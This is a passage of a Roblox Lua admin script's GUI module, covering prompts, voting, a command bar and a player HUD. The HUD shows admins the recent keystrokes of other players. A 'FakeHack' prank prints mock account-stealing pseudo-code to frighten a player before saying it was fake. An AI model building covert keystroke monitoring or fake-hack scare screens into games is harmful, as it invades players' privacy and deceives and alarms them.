4593function GUI:ShowDebtStats(Player, ManualText)
4594 local Text = ManualText
4595 if not ManualText then
4596 Text = "CANNOT GET STATISTICS"
4597 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4598 if RawPage then
4599 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4600 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4601 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4602 end
4603 end
4604
4605 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4606 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4607
4608 return Text
4609end
4610
4611function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4612 if not Player then return nil end
4613 if not CommandTrigger then return nil end
4614
4615 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4616
4617 local CommandKey = CommandTrigger
4618
4619 if not Commands[CommandKey] then
4620 for CommandNames,_ in pairs(Commands) do
4621 for _,CommandName in pairs(CommandNames) do
4622 if CommandName == CommandKey then
4623 CommandKey = CommandNames
4624 end
4625 end
4626 end
4627 end
4628
4629 local CommandData = Commands[CommandKey]
4630
4631 local BodyText = "No valid command has been entered"
4632 local TitleText = "Error"
4633 local CanExe = false
4634 if CommandData then
4635 if Dialog then
4636 Dialog:Invoke(true)
4637 end
4638 local PlayerRank = RANK:GetRank(Player)
4639 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4640 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4641
4642 TitleText = "Command: "..CommandKey[1]
4643 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4644
4645
4646Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4647
4648
4649Description: ]]..CommandData[2]..[[
4650
4651
4652Arguments: ]]..CommandData[3]..[[
4653
4654
4655Minimum rank needed: ]]..CommandData[4]..[[
4656
4657
4658Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4659
4660
4661Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4662
4663
4664Http Command ]]..STRING:BoolString(CommandData.Http)
4665 end
4666
4667 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4668 if Dialog then
4669 Closed.Event:connect(function() Dialog:Invoke(false) end)
4670 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4671 end
4672end
4673
4674function GUI:CreateHUD(Speaker)
4675 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4676
4677 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4678 if SG then SG:Destroy() end
4679 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4680
4681 local function AddHUD(Player, Char)
4682 if not Char or not Char:FindFirstChild("Head") then return nil end
4683
4684 local Rank = RANK:GetRank(Player)
4685 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4686 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4687 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4688 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4689 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4690 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4691 InfoLabel.Text = "Name: "..Player.Name..[[
4692Rank: ]]..RANK:GetRank(Player)..[[
4693Age: ]]..STRING:FindAge(Player.AccountAge)
4694 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4695 InfoLabel.Text = InfoLabel.Text..[[
4696Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4697 end
4698 if LastKeys[Player.UserId] then
4699 local Keys = ""
4700 local KeyLog = {}
4701 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4702 table.insert(KeyLog, KeyData[1])
4703 if KeyData[2] == 8 then
4704 Keys = string.sub(Keys, 1, #Keys - 1)
4705 elseif KeyData[2] == 13 then
4706 Keys = Keys.." "
4707 else
4708 Keys = Keys..string.char(KeyData[2])
4709 end
4710 end
4711 KeyLabel.Text = table.concat(KeyLog, "\n")
4712 KeyOutput.Text = Keys
4713 end
4714 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4715 end end)()
4716
4717 local CharRev,Removing = nil,nil
4718 CharRev = Player.CharacterRemoving:connect(function()
4719 PlayerHUD:Destroy()
4720 CharRev:disconnect()
4721 Removing:disconnect()
4722 end)
4723 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4724 PlayerHUD:Destroy()
4725 CharRev:disconnect()
4726 Removing:disconnect()
4727 end end)
4728 end
4729
4730 local function ConnectHUD(Player)
4731 if Player ~= Speaker then
4732 if Player.Character then
4733 AddHUD(Player, Player.Character)
4734 end
4735
4736 Player.CharacterAdded:connect(function(Char)
4737 if Speaker then
4738 AddHUD(Player, Char)
4739 else return nil
4740 end
4741 end)
4742 end
4743 end
4744
4745 for _,Player in pairs(Server.Players:GetPlayers()) do
4746 ConnectHUD(Player)
4747 end
4748
4749 Server.Players.PlayerAdded:connect(ConnectHUD)
4750end
4751
4752function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4753 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4754 local Stopped = false
4755
4756 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4757 Frame.Size = UDim2.new(1, 0, 1, -30)
4758 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4759
4760 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4761 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4762 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4763
4764 local function AddLine(Speaker, MessageText, MessageColor)
4765 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4766 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4767 if not MessageColor then MessageColor = GUI:ContrastColor() end
4768 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4769 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4770 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4771 Bounds.Parent = Frame
4772 end
4773
4774 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4775
4776 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4777 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4778 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4779
4780 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4781 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4782
4783 CORE:ExecuteResource("MessagePromptHandler", Frame)
4784
4785 wait(0.1)
4786
4787 if PreAdd then
4788 for Num,Add in pairs(PreAdd) do
4789 AddLine(Add[1], Add[2], Add[3])
4790 end
4791 end
4792
4793 --[[
4794 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4795
4796 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4797 if ChatBox.Text == "Click here or press the '-' key" then
4798 ChatBox.Text = ""
4799 end
4800 end)
4801 ]]
4802
4803 local function FireSendPressed()
4804 local Text = CORE:ReadProperty(RPR, Player, "Text")
4805 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4806 SendPressed:Fire(Text)
4807 FakeCB.Visible = true
4808 ClearCB:InvokeClient(Player)
4809 end
4810 end
4811
4812 Closed.Event:connect(function()
4813 if Stopped == false then
4814 Stopped = true
4815 if SpeakerEvents then SpeakerEvents("Leave") end
4816 end
4817 end)
4818
4819 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4820 EnterPressed.OnServerInvoke = FireSendPressed
4821 AddMessage.OnInvoke = AddLine
4822
4823 if SpeakerEvents then
4824 SpeakerEvents("Join")
4825
4826 coroutine.wrap(function()
4827 repeat wait() until not Frame or not Frame.Parent
4828 if Stopped == false then
4829 Stopped = true
4830 SpeakerEvents("Leave")
4831 end
4832 end)()
4833 end
4834
4835 return SendPressed, AddMessage
4836end
4837
4838function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4839 if tonumber(Time) then ShowFormButtons = false end
4840 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4841 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4842 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4843 local Clicked = nil
4844 local Alive = true
4845
4846 local function ClosePrompt(ButtonName)
4847 Alive = false
4848 Close:Invoke()
4849 Clicked = ButtonName
4850 end
4851
4852 for Num,Select in pairs(Buttons) do
4853 local Name = Select
4854 local Style = "White"
4855 local TextColor3 = Color3.new(0,0,0)
4856 if type(Select) == "table" then
4857 Name = Select[1]
4858 if Select[2] then Style = Select[2] end
4859 if Select[3] then TextColor3 = Select[3] end
4860 elseif type(Select) == "string" then
4861 local Case = string.lower(Select)
4862 if Case == "ok" then
4863 Name = "Ok"
4864 Style = "Primary"
4865 TextColor3 = Color3.new(1,1,1)
4866 elseif Case == "yes" then
4867 Name = "Yes"
4868 Style = "Gray"
4869 TextColor3 = Color3.new(0,1,0)
4870 elseif Case == "no" then
4871 Name = "No"
4872 Style = "Red"
4873 TextColor3 = Color3.new(1,0,0)
4874 end
4875 end
4876
4877 if Style == "None" then Style = "Custom" end
4878 if Style == "Casual" then Style = "RobloxButton" end
4879 if Style == "Red" then Style = "RobloxButtonDefault" end
4880 if Style == "Gray" then Style = "RobloxRoundButton" end
4881 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4882 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4883
4884 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4885 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4886 SOUND:BindButton(Button)
4887 end
4888
4889 if tonumber(Time) then
4890 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4891 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4892 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4893
4894 for i = Time,0,-1 do
4895 for ii = 1,10 do
4896 if Alive == true then
4897 Ticker.Text = i
4898 wait(0.1)
4899 else
4900 break
4901 end
4902 end
4903 end
4904 if Alive == true then
4905 ClosePrompt()
4906 end
4907 end
4908
4909 repeat wait() until Alive == false
4910 return Clicked
4911end
4912
4913function GUI:Vote(Speaker, Players, Text, Time)
4914 if not Players or not Text or #Players <= 0 then return end
4915
4916 local Votes = {}
4917 local Tick = 0
4918
4919 for _,Player in pairs(Players) do
4920 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4921 local CanVote = true
4922 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4923 if CanVote == true then
4924 coroutine.wrap(function()
4925 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4926 if Answer == nil then Answer = "Unknown" end
4927 table.insert(Votes, Answer)
4928 end)()
4929 end
4930 end
4931 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4932 wait(2)
4933 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4934 local Total = #Players
4935 local Yes,No,Unknown = 0,0,0
4936 for _,Vote in pairs(Votes) do
4937 if Vote == "Yes" then Yes = Yes + 1
4938 elseif Vote == "No" then No = No + 1
4939 end
4940 end
4941 Unknown = #Players - #Votes
4942
4943 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4944 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4945 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4946]]..Yes.."/"..Total..[[
4947]]..math.ceil((Yes/Total)*100).."% "
4948 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4949]]..No.."/"..Total..[[
4950]]..math.ceil((No/Total)*100).."% "
4951 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4952]]..Unknown.."/"..Total..[[
4953]]..math.ceil((Unknown/Total)*100).."% "
4954 end
4955end
4956
4957--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4958
4959function GUI:LoadGui(Player, Text, InfoText)
4960 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4961 local Dead = false
4962
4963 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4964 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4965 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4966 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4967 if InfoText then Info.Text = InfoText end
4968
4969 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4970 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4971
4972 CloseGui.OnInvoke = function()
4973 Close:Invoke()
4974 Dead = true
4975 end
4976 AddInfo.OnInvoke = function(AddText)
4977 Info.Text = AddText
4978 end
4979
4980 coroutine.wrap(function()
4981 for i = 0,math.huge,3 do
4982 if Dead == false and Frame then
4983 WaitIcon.Rotation = i
4984 wait()
4985 else
4986 break
4987 end
4988 end
4989 end)()
4990
4991 coroutine.wrap(function()
4992 while Dead == false and Frame do
4993 wait(0.5)
4994 LoadLabel.Text = Text.."."
4995 wait(0.5)
4996 LoadLabel.Text = Text..".."
4997 wait(0.5)
4998 LoadLabel.Text = Text.."..."
4999 wait(0.5)
5000 LoadLabel.Text = Text..".."
5001 wait(0.5)
5002 LoadLabel.Text = Text.."."
5003 wait(0.5)
5004 LoadLabel.Text = Text
5005 end
5006 end)()
5007
5008 wait(1)
5009
5010 return CloseGui, AddInfo
5011end
5012
5013function GUI:FakeHack(Player) coroutine.wrap(function()
5014 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5015 local FakeText = [[
5016>SHELL: BEGIN
5017>RUNCODE:
5018return {
5019 local Hack = {"Account", "Tix", "Robux"};
5020 function Start(Type, Inject, Scan)
5021 if not Inject then Inject = "In-Game" end
5022 return {Type, Inject, Scan}
5023 end
5024 for Exe,Exploit in pairs(Hack) do
5025 local IP = Start("In-Game",Exploit,
5026 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5027 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5028 )
5029 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5030 for i = 1,#Injection[2] do
5031 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5032 end
5033 local PlayerProxy = newproxy(true)
5034 setmetatable(PlayerProxy,Injection[3],{
5035 __index = function(StealData, ...) local Data = unpack(...)
5036 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5037 end;
5038 })
5039 end
5040 Log("HACKED HOST: PLAYERNAME")
5041}
5042>HACKED HOST: PLAYERNAME
5043
5044]]
5045 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5046 if SG then SG:Destroy() end
5047 SG = Instance.new("ScreenGui", Player.PlayerGui)
5048 SG.Name = "MML Hack Gui"
5049 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5050 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5051 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5052 for i = 1,#FakeText do
5053 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5054 if math.random(1,5) == 1 then
5055 wait()
5056 end
5057 end
5058 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5059 wait(3)
5060 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5061fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5062 X.Visible = true
5063end)() end
5064
5065function GUI:CommandBar(Player)
5066 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5067
5068 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5069 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5070 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5071 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5072
5073 local _,Rank = RANK:GetRank(Player)
5074 local UsableCommands = {}
5075 for CommandNames,Data in pairs(Commands) do
5076 if not Data.Hidden then
5077 if RANK:ConvertRank(Data[4]) <= Rank then
5078 for _,Command in pairs(CommandNames) do
5079 table.insert(UsableCommands, {Command, Data[3]})
5080 end
5081 end
5082 end
5083 end
5084
5085 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5086
5087 local function ExecuteText()
5088 local Text = CORE:ReadProperty(RPR, Player, "Text")
5089 CORE:Chatted(Text, Player, true)
5090 CommandBox.Text = "Enter a command here"
5091 end
5092
5093 local function AddSuggestion(Text)
5094 if Text == nil then Text = Settings.Prefix end
5095 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5096 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5097 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5098 if Text == Settings.Prefix then
5099 CommandBox.Text = Settings.Prefix
5100 else
5101 CommandBox.Text = Settings.Prefix..Text
5102 end
5103 CORE:ExecuteResource("Focus", CommandBox)
5104 end, true)
5105 end
5106
5107 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5108 if CommandBox.Text == "Enter a command here" then
5109 CommandBox.Text = ""
5110 end
5111 end)
5112
5113 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5114 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5115
5116 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5117 EnterPressed.OnServerInvoke = ExecuteText
5118
5119 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5120 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5121 Suggest:ClearAllChildren()
5122 local Text = CORE:ReadProperty(RPR, Player, "Text")
5123 if Text == "" then
5124 AddSuggestion(Settings.Prefix)
5125 end
5126
5127 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5128 Text = string.sub(Text,#Settings.Prefix+1)
5129 end
5130 for _,Data in pairs(UsableCommands) do
5131 local Command,Args = Data[1],Data[2]
5132 if string.find(string.lower(Command),string.lower(Text)) then
5133 local NewSuggestion = Command
5134 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5135 AddSuggestion(NewSuggestion)
5136 end
5137 end
5138
5139 end end)
5140end
5141
5142function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5143 if not Player or not AllSeconds then return nil end
5144 AllSeconds = tonumber(AllSeconds)
5145 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5146 AllSeconds = math.floor(AllSeconds)
5147 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5148 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5149 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
